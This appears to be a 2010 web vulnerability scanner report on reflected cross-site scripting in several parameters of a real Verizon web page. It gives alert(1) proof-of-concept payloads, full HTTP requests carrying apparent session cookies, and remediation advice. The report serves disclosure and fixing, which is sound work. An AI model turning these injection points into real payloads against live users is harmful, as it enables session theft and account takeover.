Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the WT.ti request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2114"-alert(1)-"2cd6e3349c6 was submitted in the WT.ti parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /central/bookmark?action=bbeat&WT.ti=Central/Header/vzsurround_lnkoute2114"-alert(1)-"2cd6e3349c6 HTTP/1.1 Host: www.verizon.net Proxy-Connection: keep-alive Referer: http://www.verizon.net/central/appmanager/portal/vzcentral Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VZCSESSIONID=pzXmMnyQTb42YxPF5zChrLL6lWsx59ykGSv2bHvZypcp7dnglchj!1878479263; WT_FPC=id=2a956fa7855af7d0ca11290210227164:lv=1290210227164:ss=1290210227164; ASPSESSIONIDSAQTRRDD=PMLDAEBDKKNJNKIEJDFGBDKJ
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 152 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 01:47:43 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 01:47:43 GMT Connection: close Vary: Accept-Encoding
The value of the channel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a257"-alert(1)-"dfffcb2575a was submitted in the channel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /central/bookmark?action=googlesearch&q='&web_search_type=basic&clientid=cnsmr&channel=Nwcnsmr2a257"-alert(1)-"dfffcb2575a HTTP/1.1 Host: www.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VZCSESSIONID=pzXmMnyQTb42YxPF5zChrLL6lWsx59ykGSv2bHvZypcp7dnglchj!1878479263; WT_FPC=id=2a956fa7855af7d0ca11290210227164:lv=1290210227164:ss=1290210227164; ASPSESSIONIDSAQTRRDD=PMLDAEBDKKNJNKIEJDFGBDKJ; ASPSESSIONIDCSRRSSBB=GPELJEBDJBIPHJOBICKILKME; amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Expires: Sat, 20 Nov 2010 02:07:38 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:07:38 GMT Connection: close
The value of the clientid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ff42"-alert(1)-"af559367478 was submitted in the clientid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /central/bookmark?action=googlesearch&q='&web_search_type=basic&clientid=cnsmr5ff42"-alert(1)-"af559367478&channel=Nwcnsmr HTTP/1.1 Host: www.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VZCSESSIONID=pzXmMnyQTb42YxPF5zChrLL6lWsx59ykGSv2bHvZypcp7dnglchj!1878479263; WT_FPC=id=2a956fa7855af7d0ca11290210227164:lv=1290210227164:ss=1290210227164; ASPSESSIONIDSAQTRRDD=PMLDAEBDKKNJNKIEJDFGBDKJ; ASPSESSIONIDCSRRSSBB=GPELJEBDJBIPHJOBICKILKME; amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Expires: Sat, 20 Nov 2010 02:07:38 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:07:38 GMT Connection: close
1.4. http://www.verizon.net/central/bookmark [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.verizon.net
Path:
/central/bookmark
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ac8b"-alert(1)-"6833c2efbb9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /central/bookmark?action=bbeat&WT.ti=Central/Header/vzsurround_lnkout&3ac8b"-alert(1)-"6833c2efbb9=1 HTTP/1.1 Host: www.verizon.net Proxy-Connection: keep-alive Referer: http://www.verizon.net/central/appmanager/portal/vzcentral Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VZCSESSIONID=pzXmMnyQTb42YxPF5zChrLL6lWsx59ykGSv2bHvZypcp7dnglchj!1878479263; WT_FPC=id=2a956fa7855af7d0ca11290210227164:lv=1290210227164:ss=1290210227164; ASPSESSIONIDSAQTRRDD=PMLDAEBDKKNJNKIEJDFGBDKJ
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 155 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 01:47:45 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 01:47:45 GMT Connection: close Vary: Accept-Encoding
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5125b"-alert(1)-"3649764250f was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /central/bookmark?action=googlesearch&q='5125b"-alert(1)-"3649764250f&web_search_type=basic&clientid=cnsmr&channel=Nwcnsmr HTTP/1.1 Host: www.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VZCSESSIONID=pzXmMnyQTb42YxPF5zChrLL6lWsx59ykGSv2bHvZypcp7dnglchj!1878479263; WT_FPC=id=2a956fa7855af7d0ca11290210227164:lv=1290210227164:ss=1290210227164; ASPSESSIONIDSAQTRRDD=PMLDAEBDKKNJNKIEJDFGBDKJ; ASPSESSIONIDCSRRSSBB=GPELJEBDJBIPHJOBICKILKME; amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Expires: Sat, 20 Nov 2010 02:07:36 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:07:36 GMT Connection: close Vary: Accept-Encoding
The value of the web_search_type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63d6b"-alert(1)-"fda7c8459b2 was submitted in the web_search_type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /central/bookmark?action=googlesearch&q='&web_search_type=basic63d6b"-alert(1)-"fda7c8459b2&clientid=cnsmr&channel=Nwcnsmr HTTP/1.1 Host: www.verizon.net Proxy-Connection: keep-alive Referer: http://webmail.verizon.net/signin/Login.jsp?src=SAM&err=1011 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VZCSESSIONID=pzXmMnyQTb42YxPF5zChrLL6lWsx59ykGSv2bHvZypcp7dnglchj!1878479263; WT_FPC=id=2a956fa7855af7d0ca11290210227164:lv=1290210227164:ss=1290210227164; ASPSESSIONIDSAQTRRDD=PMLDAEBDKKNJNKIEJDFGBDKJ; ASPSESSIONIDCSRRSSBB=GPELJEBDJBIPHJOBICKILKME; amlbcookie=02; lob=webmail; POPLocation=popip=174.122.23.218&popindicator=&popcity=&popstate=&popzipcode=&popcounty=&popdma=&popservice=&connex=&prizm=&usertype=&partner=&fiostvown=&fiosvoice=&vasonly=&npa=&nxx=&msp=&pws=&viss=&vgodfamily=&vgodunlim=&vec=&vsbb=&pts=&online_backup=&audio_conf=&smb_premmail=&sec_email=&webhosting=&bbaw=&smb_enh_msg=&webex=; POPRefid=refid=&refresh=y&reftrytime=0&refnum=
Response
HTTP/1.1 200 OK Server: Apache Content-Length: 221 X-Powered-By: Servlet/2.5 JSP/2.1 P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Expires: Sat, 20 Nov 2010 02:07:37 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 02:07:37 GMT Connection: close